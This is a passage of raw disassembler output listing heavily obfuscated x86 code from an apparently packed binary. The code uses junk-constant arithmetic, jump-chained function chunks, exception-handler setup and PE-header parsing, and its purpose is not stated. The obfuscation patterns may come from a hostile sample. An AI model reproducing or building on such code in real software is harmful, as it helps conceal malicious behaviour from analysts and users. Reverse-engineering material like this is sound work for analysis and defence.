		shl	ebx, 1
		jmp	sub_42859D
; ---------------------------------------------------------------------------

locret_42CC5A:				; CODE XREF: wto1jq8f:0042783Bj
		retn
; ---------------------------------------------------------------------------


loc_42CC5B:				; CODE XREF: wto1jq8f:004283F5j
		jmp	locret_42A7FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_42CC60:				; CODE XREF: sub_4240DC+Cj
		and	eax, 82770DE9h
		xor	eax, 39C484D6h
		add	eax, ebp
		push	edx
		push	0B972B995h
		pop	edx
		add	edx, 0EB1DEC25h
		or	edx, 786C3187h
		jmp	loc_428106
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42CC86:				; CODE XREF: sub_42AECE:loc_42FACAj
		jz	loc_427125
		jmp	loc_42FF90
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------
		jg	loc_42DA0B
		jmp	sub_426D31
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 19h
		push	esi
		push	38F8CA1h
		pop	esi
		or	esi, 0A68CB367h
		jmp	loc_42FBA1
; ---------------------------------------------------------------------------


loc_42CCB2:				; DATA XREF: sub_42B990+2F5Fo
		pop	edx
		pop	ecx
		xchg	ecx, [esp]
		mov	eax, ecx
		pop	ecx
		pop	ebp
		jmp	loc_428B27
; ---------------------------------------------------------------------------
		call	sub_42FF9A
; START	OF FUNCTION CHUNK FOR sub_42DA35


loc_42CCC5:				; CODE XREF: sub_42DA35:loc_42DA3Dj
		push	ecx
		xchg	edx, edi
; END OF FUNCTION CHUNK	FOR sub_42DA35
; START	OF FUNCTION CHUNK FOR sub_42628C


loc_42CCC8:				; CODE XREF: sub_42628C:loc_42D14Aj
		push	edi
		call	sub_42B276


loc_42CCCE:				; CODE XREF: wto1jq8f:00429725j
					; wto1jq8f:0042C2F1j
		jmp	loc_42ABA0
; END OF FUNCTION CHUNK	FOR sub_42628C
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F7AD


loc_42CCD4:				; CODE XREF: sub_42F7AD+Dj
		jmp	loc_42DE07
; END OF FUNCTION CHUNK	FOR sub_42F7AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_42CCD9:				; CODE XREF: sub_42F2C7+10j
		jmp	loc_42AC0A
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42CCDE:				; CODE XREF: sub_429BFF+3B4Fj
		jmp	loc_42438C
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C670


loc_42CCE3:				; CODE XREF: sub_42C670+11j
		jmp	loc_42960E
; END OF FUNCTION CHUNK	FOR sub_42C670
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_42CCE8:				; CODE XREF: sub_42A6CD-4C08j
		jmp	sub_42776C
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_42CCED:				; CODE XREF: sub_4282FE:loc_42B168j
		push	0ECDE9AFh
		pop	edx
		xor	edx, 0ACE6AF53h
		push	offset loc_42C2C6
		jmp	nullsub_82
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------


loc_42CD03:				; CODE XREF: wto1jq8f:loc_425B73j
					; wto1jq8f:0042FA67j
		push	edx
		push	89A821F6h
		pop	edx
		or	edx, 0F333408h
		add	edx, 70870E6Ah
		xchg	edx, [esp]
		jmp	loc_42A420
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3DA


loc_42CD1E:				; CODE XREF: sub_42A3DA:loc_4281F5j
		push	offset loc_42E1BA
		jmp	loc_42FB94
; END OF FUNCTION CHUNK	FOR sub_42A3DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_42CD28:				; CODE XREF: sub_429471:loc_42B60Aj
		jnz	loc_4260C5
		jmp	loc_42A037
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------


loc_42CD33:				; CODE XREF: wto1jq8f:0042F84Cj
		xchg	edx, [ebx]

; =============== S U B	R O U T	I N E =======================================



sub_42CD35	proc near		; CODE XREF: sub_42CB63:loc_4262A6p

; FUNCTION CHUNK AT 0042995A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C868 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E3AD SIZE 00000009 BYTES

		xchg	eax, [esp+0]
		pop	eax
		call	sub_42E3B6
		jmp	loc_42995A
sub_42CD35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42CD43:				; CODE XREF: wto1jq8f:00425E16j
		pop	ecx


loc_42CD44:				; CODE XREF: wto1jq8f:loc_42B722j
		push	eax
		push	82482BC4h
		pop	eax
		xor	eax, 0CA16A81Ch
		test	eax, 4
		jmp	loc_42602A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428C71


loc_42CD5C:				; CODE XREF: sub_428C71:loc_428C7Dj
		call	sub_42D368


loc_42CD61:				; DATA XREF: sub_426535-24DAo
		push	eax
		call	sub_42DFE5
		cmp	dword ptr [ebp-0Ch], 0
		jz	loc_42E061


loc_42CD71:				; CODE XREF: sub_42D69D+1374j
		jmp	loc_42B6A8
; END OF FUNCTION CHUNK	FOR sub_428C71
; ---------------------------------------------------------------------------
		jnb	sub_42750A
		jmp	sub_42A617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C4E2


loc_42CD81:				; CODE XREF: sub_42C4E2+20j
		push	eax
		cmp	dword ptr [ebp-14h], 5
		push	offset sub_42E541
		jmp	loc_42ECC0
; END OF FUNCTION CHUNK	FOR sub_42C4E2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_42CD90:				; CODE XREF: sub_42CB36:loc_42FB6Cj
		jnz	loc_42C73E
		jmp	loc_42F1E4
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F5E5


loc_42CD9B:				; CODE XREF: sub_42F5E5-49E0j
		ror	edx, 18h
		shl	eax, 4
		push	1F8E6A66h
		pop	eax
		add	eax, 698A7CDCh
		xor	eax, 0C3488653h
		jmp	loc_428E97
; END OF FUNCTION CHUNK	FOR sub_42F5E5
; ---------------------------------------------------------------------------
		or	eax, 0C98AD736h
		push	edx
		jmp	sub_42CB63
; ---------------------------------------------------------------------------

locret_42CDC4:				; CODE XREF: wto1jq8f:loc_42E646j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CA3D


loc_42CDC5:				; CODE XREF: sub_42CA3D+28F0j
		jmp	loc_42491A
; END OF FUNCTION CHUNK	FOR sub_42CA3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42CDCA:				; CODE XREF: sub_426E98+E4j
		jmp	loc_429F49
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_42CDCF:				; CODE XREF: wto1jq8f:0042F967j
		jns	loc_42E1B3

; =============== S U B	R O U T	I N E =======================================



sub_42CDD5	proc near		; CODE XREF: sub_42AA8E-3213p

arg_0		= dword	ptr  4

		mov	[esp+0], esi
		pop	esi
		xchg	edx, [esp-4+arg_0]
		retn
sub_42CDD5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_42CDDD:				; CODE XREF: sub_42E5B2+16j
		jmp	loc_4280DB
; END OF FUNCTION CHUNK	FOR sub_42E5B2

; =============== S U B	R O U T	I N E =======================================



sub_42CDE2	proc near		; DATA XREF: wto1jq8f:004242B1o
		rol	eax, 1Bh
		mov	ds:dword_42E508, eax
		retn
sub_42CDE2	endp

; ---------------------------------------------------------------------------


loc_42CDEC:				; CODE XREF: wto1jq8f:0042FDD8j
		ror	eax, 1Bh
		call	sub_42E3C3
; START	OF FUNCTION CHUNK FOR sub_4246D4


loc_42CDF4:				; CODE XREF: sub_4246D4+7j
		jmp	loc_42ED47
; END OF FUNCTION CHUNK	FOR sub_4246D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_42CDF9:				; CODE XREF: sub_42A3EB:loc_42DC80j
		push	21054D91h


loc_42CDFE:				; CODE XREF: sub_426E98:loc_42DFC3j
		pop	ecx
		xor	ecx, 6800B15Fh
		add	ecx, ebp
		add	ecx, 0B6FA032Eh
		mov	[ecx], eax
		jmp	loc_42E039
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42CE14:				; CODE XREF: sub_42E9E8:loc_42D531j
		ror	edi, 0Fh
		jmp	loc_4277BE
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_42CE1C:				; CODE XREF: wto1jq8f:00428892j
		jz	loc_424EED
		jmp	loc_42426E
; ---------------------------------------------------------------------------


loc_42CE27:				; DATA XREF: sub_428BA9-3Ao
		mov	[ebp-0Bh], al
		xor	eax, eax
		mov	al, [ebp-0Bh]
		mov	ecx, 8
		sub	ecx, eax
		xor	eax, eax
		mov	al, [ebp-9]
		jmp	loc_42EA94
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA04


loc_42CE40:				; CODE XREF: sub_42AA04+13j
		mov	edx, 0B9726E5Ah
		call	sub_429165
		push	eax
		rol	eax, 15h
; END OF FUNCTION CHUNK	FOR sub_42AA04
; START	OF FUNCTION CHUNK FOR sub_42604C


loc_42CE4E:				; CODE XREF: sub_42604C:loc_42DA75j
		mov	ds:dword_42DB08, eax
		retn
; END OF FUNCTION CHUNK	FOR sub_42604C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BF9


loc_42CE55:				; CODE XREF: sub_424BF9+2A09j
					; sub_42AA04+8j
		ror	eax, 15h
		jmp	loc_428BDA
; END OF FUNCTION CHUNK	FOR sub_424BF9

; =============== S U B	R O U T	I N E =======================================



sub_42CE5D	proc near		; DATA XREF: wto1jq8f:0042A81Do
		pop	ecx
		call	sub_428F61
sub_42CE5D	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_75. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42CE64:				; CODE XREF: wto1jq8f:0042BC2Ej
		jmp	loc_429843
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D5BA


loc_42CE69:				; CODE XREF: sub_42D5BA+6j
		add	edx, 0F02E81A1h
		mov	edx, [edx]
		xchg	edx, [esp+0]
		retn
; END OF FUNCTION CHUNK	FOR sub_42D5BA
; ---------------------------------------------------------------------------


loc_42CE75:				; CODE XREF: wto1jq8f:loc_428EEAj
		jnz	loc_426AF5


loc_42CE7B:				; CODE XREF: wto1jq8f:loc_42C0F0j
		jmp	loc_42D0B3

; =============== S U B	R O U T	I N E =======================================



sub_42CE80	proc near		; CODE XREF: sub_42F03D+1p
					; wto1jq8f:0042F258j

; FUNCTION CHUNK AT 0042D408 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D99D SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		jmp	loc_42D99D
sub_42CE80	endp


; =============== S U B	R O U T	I N E =======================================



sub_42CE8E	proc near		; CODE XREF: wto1jq8f:0042921Cj
					; sub_42F36F+Ap

arg_0		= dword	ptr  4

		xchg	ebx, [esp+0]
		pop	ebx
		add	edi, 0B353C8CEh
		xchg	edi, [esp-4+arg_0]
		push	0
		call	sub_42F563
		push	eax
		push	offset sub_42F067
		jmp	nullsub_202
sub_42CE8E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42CEAD:				; CODE XREF: sub_42C486:loc_42906Cj
		jz	loc_42788A
		ja	loc_42928E
		jmp	loc_427880
; END OF FUNCTION CHUNK	FOR sub_42C486

; =============== S U B	R O U T	I N E =======================================



sub_42CEBE	proc near		; CODE XREF: sub_42DA42+6p
					; wto1jq8f:0042E780j
		mov	[esp+0], edx
		pop	edx
		push	0
		push	0
		call	sub_4276C3
		retn
sub_42CEBE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42CECC:				; CODE XREF: sub_42E9E8:loc_427788j
		jmp	loc_424AF6
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CED1	proc near		; CODE XREF: sub_428183j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042D31D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FD02 SIZE 00000020 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	[ebp+var_4], eax
		call	sub_42708B
		push	eax
		jmp	loc_42D31D
sub_42CED1	endp

; ---------------------------------------------------------------------------


loc_42CEE3:				; CODE XREF: wto1jq8f:00428AACj
		xor	ecx, eax
		sbb	ebx, ecx
		and	eax, 0DF04398Ch
		ror	edx, 3
		jmp	loc_42BD4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42CEF5:				; CODE XREF: sub_42E9E8:loc_424AF6j
					; sub_427A8D:loc_4286D8j
		cmp	ebx, 53EE830Ch
		jmp	loc_42600D
; END OF FUNCTION CHUNK	FOR sub_42E9E8

; =============== S U B	R O U T	I N E =======================================



sub_42CF00	proc near		; CODE XREF: wto1jq8f:004270EEj
					; sub_42ED54:loc_42ED72p

; FUNCTION CHUNK AT 0042FD23 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		call	sub_426437
		push	offset loc_429C7E
		jmp	loc_42FD23
sub_42CF00	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_42CF13:				; CODE XREF: wto1jq8f:0042EA48j
		jge	loc_42E090
		adc	eax, ebx
		jmp	sub_42D882
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428501


loc_42CF20:				; CODE XREF: sub_428501+Bj
		pushf
		push	offset loc_42ABF1
		jmp	loc_42F2C2
; END OF FUNCTION CHUNK	FOR sub_428501

; =============== S U B	R O U T	I N E =======================================



sub_42CF2B	proc near		; DATA XREF: sub_428BC4-DE0o
		call	sub_429CC7
sub_42CF2B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42A3BC


loc_42CF30:				; CODE XREF: sub_42A3BC+Fj
		pop	eax
		add	eax, 0F59D23A2h
		xor	eax, 0C35221C5h
		cmp	eax, 228EB4C4h
		jmp	loc_42484A
; END OF FUNCTION CHUNK	FOR sub_42A3BC
; ---------------------------------------------------------------------------

locret_42CF48:				; CODE XREF: wto1jq8f:0042E944j
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_201. PRESS KEYPAD	"+" TO EXPAND]
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_86. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425F4F


loc_42CF4B:				; CODE XREF: sub_425F4F+Cj
		jmp	loc_4273AF
; END OF FUNCTION CHUNK	FOR sub_425F4F

; =============== S U B	R O U T	I N E =======================================



sub_42CF50	proc near		; CODE XREF: sub_42AA68p

; FUNCTION CHUNK AT 00427BF3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042D7F2 SIZE 00000005 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		mov	eax, [eax]
		mov	eax, 1
		jmp	loc_427BF3
sub_42CF50	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42CF6A	proc near		; CODE XREF: wto1jq8f:004240BEj
					; sub_42628C+55A5p

; FUNCTION CHUNK AT 00424130 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042601E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00428403 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jmp	loc_424130
sub_42CF6A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42628C


loc_42CF73:				; CODE XREF: sub_42628C+Fj
					; sub_42628C+559Fj
		jo	loc_424714
		call	sub_42E4EA
		cmp	eax, 68A9D923h
		jmp	loc_42D14A
; END OF FUNCTION CHUNK	FOR sub_42628C

; =============== S U B	R O U T	I N E =======================================



sub_42CF89	proc near		; CODE XREF: wto1jq8f:0042B154j
					; sub_42506F+AC48p

; FUNCTION CHUNK AT 00424257 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00424738 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00426936 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A740 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AEF4 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042FA8E SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	6F9A8005h
		pop	edi
		jmp	loc_42A740
sub_42CF89	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_94. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D71D


loc_42CF99:				; CODE XREF: sub_42D71D-6218j
		jmp	loc_429096
; END OF FUNCTION CHUNK	FOR sub_42D71D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AC6


loc_42CF9E:				; CODE XREF: sub_428AC6-BF3j
		xor	esi, 921B84CBh
		add	esi, ebp
		add	esi, 2243DC28h
		mov	esi, [esi]
		jmp	loc_426941
; END OF FUNCTION CHUNK	FOR sub_428AC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_42CFB3:				; CODE XREF: sub_4244EA:loc_42B38Ej
		and	ax, 38FFh


loc_42CFB7:				; CODE XREF: sub_429BFF:loc_42BC75j
		cmp	ax, 20FFh
		jz	loc_427CC2
		xor	eax, eax
		jmp	loc_424E3C
; END OF FUNCTION CHUNK	FOR sub_4244EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42CFC8:				; CODE XREF: sub_42F50F:loc_424AF1j
		cmp	dword ptr [ebp-8], 0
		jbe	loc_42A102
		jmp	loc_42B0A3
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
		xor	edx, 0F363757Bh
		jmp	sub_427D00

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42CFE2	proc near		; CODE XREF: sub_42D910+6j

; FUNCTION CHUNK AT 00424000 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0042E75B SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	ds:dword_42DB0C, 0
		jmp	loc_42E75B
sub_42CFE2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424D63


loc_42CFF2:				; CODE XREF: sub_424D63+9D03j
		mov	ecx, 5E6E9DB7h


loc_42CFF7:				; CODE XREF: sub_424D63:loc_424D6Ej
		mov	eax, 400h
		push	esi
		push	offset loc_42466D
		jmp	nullsub_75
; END OF FUNCTION CHUNK	FOR sub_424D63
; ---------------------------------------------------------------------------


loc_42D007:				; CODE XREF: wto1jq8f:0042EE33j
		cmp	ebp, 8E6F6DEDh
		jmp	loc_4297E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A202


loc_42D012:				; CODE XREF: sub_42A202+15j
		push	offset loc_42F20C
		jmp	nullsub_76
; END OF FUNCTION CHUNK	FOR sub_42A202
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_42D01C:				; CODE XREF: sub_429BFF+36B5j
		xchg	ecx, [esp+4+var_4]
		jmp	sub_429165
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B63C


loc_42D024:				; CODE XREF: sub_42B63C+1Cj
		add	ebx, ebp
		add	ebx, 11634D3Ah
		push	offset sub_424ADA


loc_42D031:				; CODE XREF: sub_42E7B6j
		jmp	nullsub_77
; END OF FUNCTION CHUNK	FOR sub_42B63C
; ---------------------------------------------------------------------------
		sub	ebx, 8550B4F7h
		or	edi, 9E1C0918h
		jmp	sub_4272CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_42D047:				; CODE XREF: sub_426E98:loc_426EDDj
		push	eax
		push	875F9086h
		pop	eax
		or	eax, 501396E1h
		sub	eax, 14712F7Ah
		xor	eax, 3D119A92h
		and	edx, eax
		pop	eax
		jmp	loc_42F536
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_42D068:				; CODE XREF: sub_42F50F-561Aj
					; sub_42F50F:loc_42B0A3j
		push	4A5A3316h
		pop	eax
		and	eax, 61BF0E95h
		xor	eax, 42B61E86h
		add	eax, 87A61E54h
		add	eax, ebp
		push	edi
		jmp	loc_42908C
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42D088:				; CODE XREF: sub_42C486-4770j
		jz	loc_42BBA1
		jmp	loc_42C75A
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424F7A


loc_42D093:				; CODE XREF: sub_424F7A+28CCj
		and	ebp, esi
		test	esi, ebx
		jmp	loc_42E99D
; END OF FUNCTION CHUNK	FOR sub_424F7A

; =============== S U B	R O U T	I N E =======================================



sub_42D09C	proc near		; DATA XREF: wto1jq8f:00427BDDo
		jz	loc_42D9E7
sub_42D09C	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42D0A2:				; CODE XREF: sub_42AEDD:loc_426030j
					; sub_42D9D9+8j
		push	offset loc_42CC24
		jmp	loc_424A05
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
		xor	edx, esi
		jmp	sub_42628C
; ---------------------------------------------------------------------------


loc_42D0B3:				; CODE XREF: wto1jq8f:loc_42CE7Bj
		xchg	ebp, [eax]
		push	edi
		jnz	loc_42DCA9
		and	ebp, 0E27ABEFFh
		jmp	loc_42D64F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42ED01


loc_42D0C7:				; CODE XREF: sub_42ED01-5D0Aj
		jo	nullsub_146
		pushf


loc_42D0CE:				; CODE XREF: sub_42ED01:loc_42B7F0j
		call	sub_42B35E


loc_42D0D3:				; CODE XREF: wto1jq8f:loc_42DCA9j
		jmp	loc_4267D3
; END OF FUNCTION CHUNK	FOR sub_42ED01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_42D0D8:				; CODE XREF: sub_4240DC:loc_424DFDj
		mov	ecx, eax
		xchg	ecx, [esp+0]
		push	edi
		push	77C51A40h
		pop	edi
		xor	edi, 883AE5BFh
		xchg	edi, [esp+4+var_4]
		jmp	loc_42FCBC
; END OF FUNCTION CHUNK	FOR sub_4240DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426144


loc_42D0F2:				; CODE XREF: sub_426144:loc_424370j
		add	esi, eax
		sub	edi, 8CCAC83Ah
		jmp	loc_424CE8
; END OF FUNCTION CHUNK	FOR sub_426144
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_42D0FF:				; CODE XREF: sub_42B8FC:loc_42EE74j
		mov	esp, ebp
		pop	ebp
		mov	eax, ds:dword_42954C
		or	eax, eax
		jnz	loc_42A92C
		jmp	loc_426B88
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_137. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42D116:				; CODE XREF: wto1jq8f:0042EDE9j
		jmp	loc_42DD54
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_42D11B:				; CODE XREF: sub_42760F+31BFj
		jmp	nullsub_78
; END OF FUNCTION CHUNK	FOR sub_42760F

; =============== S U B	R O U T	I N E =======================================



sub_42D120	proc near		; DATA XREF: sub_42F563-7683o

; FUNCTION CHUNK AT 004274C8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B917 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D28E SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042DD4F SIZE 00000005 BYTES

		or	eax, eax
		jnz	loc_42A4BD
		jmp	loc_42DD4F
sub_42D120	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A8ED


loc_42D12E:				; CODE XREF: sub_42A8ED+11B7j
		jmp	loc_42442B
; END OF FUNCTION CHUNK	FOR sub_42A8ED

; =============== S U B	R O U T	I N E =======================================



sub_42D133	proc near		; CODE XREF: sub_424A1B+3p
		xchg	eax, [esp+0]
		pop	eax
		push	ecx
		mov	esp, ebp
		jmp	loc_42814E
sub_42D133	endp


; =============== S U B	R O U T	I N E =======================================



sub_42D13F	proc near		; DATA XREF: sub_428183+6o

; FUNCTION CHUNK AT 0042E388 SIZE 00000005 BYTES

		push	ebp
		push	offset sub_42BC9B
		jmp	loc_42E388
sub_42D13F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42628C


loc_42D14A:				; CODE XREF: sub_42628C+6CF8j
		jb	loc_42CCC8
		jle	loc_4288D3
		jmp	sub_425F4F
; END OF FUNCTION CHUNK	FOR sub_42628C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429C18


loc_42D15B:				; CODE XREF: sub_429C18+13j
		call	sub_424702
; END OF FUNCTION CHUNK	FOR sub_429C18
; START	OF FUNCTION CHUNK FOR sub_42655A


loc_42D160:				; CODE XREF: sub_42655A+10j
		jz	loc_429EB1
		jmp	loc_429A3C
; END OF FUNCTION CHUNK	FOR sub_42655A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_26. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_42D16C:				; CODE XREF: wto1jq8f:0042C778j
		jmp	loc_4271EC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_166. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429816


loc_42D172:				; CODE XREF: sub_429816:loc_42A4B8j
		add	eax, 4EDFA594h
		mov	eax, [eax]
		push	ebx
		pushf
		push	offset loc_42D2ED
		jmp	nullsub_226
; END OF FUNCTION CHUNK	FOR sub_429816
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA68


loc_42D186:				; CODE XREF: sub_42AA68:loc_42DCAFj
		or	ecx, edx
		mov	ebp, [eax]
		add	ebx, 0D76198A0h
		test	ebp, ebx
		jmp	loc_42A479
; END OF FUNCTION CHUNK	FOR sub_42AA68
; ---------------------------------------------------------------------------


loc_42D197:				; CODE XREF: wto1jq8f:0042C79Fj
		jbe	loc_42DDC0
		shl	eax, 1Ch
		jmp	loc_4298CC
; ---------------------------------------------------------------------------


loc_42D1A5:				; CODE XREF: wto1jq8f:00426BC6j
		shl	edx, 6

; =============== S U B	R O U T	I N E =======================================



sub_42D1A8	proc near		; CODE XREF: sub_42EDB9-6AD8p

; FUNCTION CHUNK AT 00428A9A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042C657 SIZE 00000009 BYTES

		xchg	esi, [esp+0]
		pop	esi
		add	eax, ebp
		add	eax, 0C047B391h
		mov	eax, [eax]
		mov	eax, [eax+3Ch]
		jmp	loc_428A9A
sub_42D1A8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424406


loc_42D1BE:				; CODE XREF: sub_424406+2113j
		popf
		mov	[esi], edi
		add	ebx, eax


loc_42D1C3:				; CODE XREF: sub_424406:loc_42EE38j
		call	sub_424585
		mov	edx, 19CFC62Bh
		call	sub_429165
		push	eax
		rol	eax, 1Ah
		jmp	loc_4244A4
; END OF FUNCTION CHUNK	FOR sub_424406
; ---------------------------------------------------------------------------


loc_42D1DB:				; CODE XREF: wto1jq8f:0042BFEAj
		jbe	loc_42A102
		jmp	loc_425AF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AECE


loc_42D1E6:				; CODE XREF: sub_42AECE:loc_42FF90j
		xor	edx, ecx
		cmp	edx, 0ADDE8337h
		jmp	loc_424417
; END OF FUNCTION CHUNK	FOR sub_42AECE
; ---------------------------------------------------------------------------


loc_42D1F3:				; CODE XREF: wto1jq8f:0042CB94j
		push	36E2E401h
		pop	eax
		and	eax, 98B42A7Fh
		cmp	eax, 1F1C2E91h
		jmp	loc_42984D
; ---------------------------------------------------------------------------
